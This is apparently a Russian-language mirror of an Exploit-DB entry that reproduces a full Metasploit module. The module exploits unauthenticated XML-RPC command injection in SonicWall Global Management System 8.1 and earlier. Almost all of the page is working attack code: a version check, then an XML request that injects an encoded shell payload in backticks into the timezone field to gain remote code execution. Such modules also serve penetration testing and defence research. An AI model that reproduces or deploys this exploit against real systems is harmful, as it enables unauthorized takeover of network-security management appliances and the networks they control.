- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 45124
- Проверка EDB
-
- Пройдено
- Автор
- METASPLOIT
- Тип уязвимости
- REMOTE
- Платформа
- LINUX
- CVE
- N/A
- Дата публикации
- 2018-08-01
SonicWall Global Management System - XMLRPC set_time_zone Command Injection (Metasploit)
Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "SonicWall Global Management System XMLRPC
set_time_zone Unath RCE",
'Description' => %q{
This module exploits a vulnerability in SonicWall Global
Management System Virtual Appliance versions 8.1 (Build 8110.1197)
and below. This virtual appliance can be downloaded from
http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
holistic way to manage your entire network security environment.'
These vulnerable versions (8.1 Build 8110.1197 and below) do not
prevent unauthenticated, external entities from making XML-RPC
requests to port 21009 of the virtual app. After the XML-RPC call
is made, a shell script is called like so:
'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.
},
'License' => MSF_LICENSE,
'Author' => [ 'Michael Flanders', #MSF Module
'kernelsmith' #Advisor
],
'References' => [
['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],
['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']
],
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [
[ 'SonicWall Global Management System Virtual Appliance', {} ],
],
'Payload' => {
# Can't use ampersand, Java's XML-RPC parser will complain and return an error
'BadChars' => "\x26",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet'
}
},
'DisclosureDate' => "Jul 22 2016",
'DefaultTarget' => 0))
register_options(
[
OptString.new('WEB_SERVER_PORT', [ false, 'Port of web console login page.
Defaults to 80/443 depending on SSL.'])
])
end
def check
if datastore['WEB_SERVER_PORT']
port_number = datastore['WEB_SERVER_PORT']
else
port_number = datastore['SSL'] ? '443' : '80'
end
handler = datastore['SSL'] ? 'https' : 'http'
res = request_url("#{handler}://#{rhost}:#{port_number}")
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/
return CheckCode::Safe
end
version = Gem::Version.new $1.to_s
unless version <= Gem::Version.new('8.1')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, "The target is not vulnerable."
end
print_status "The target appears to be vulnerable, continuing exploit..."
send_xml
end
def send_xml
xml_body = <<~HERESTRING
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>set_time_config</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>timezone</name>
<value>
<string>"`#{payload.encoded}`"</string>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
HERESTRING
res = send_request_raw({
'method' => 'POST',
'uri' => '/',
'data' => xml_body,
'ctype' => 'text/xml; charset=UTF-8'
})
unless res && res.body.include?("success")
print_error("Error sending XML to #{rhost}:#{rport}")
end
end
end
- Источник
- www.exploit-db.com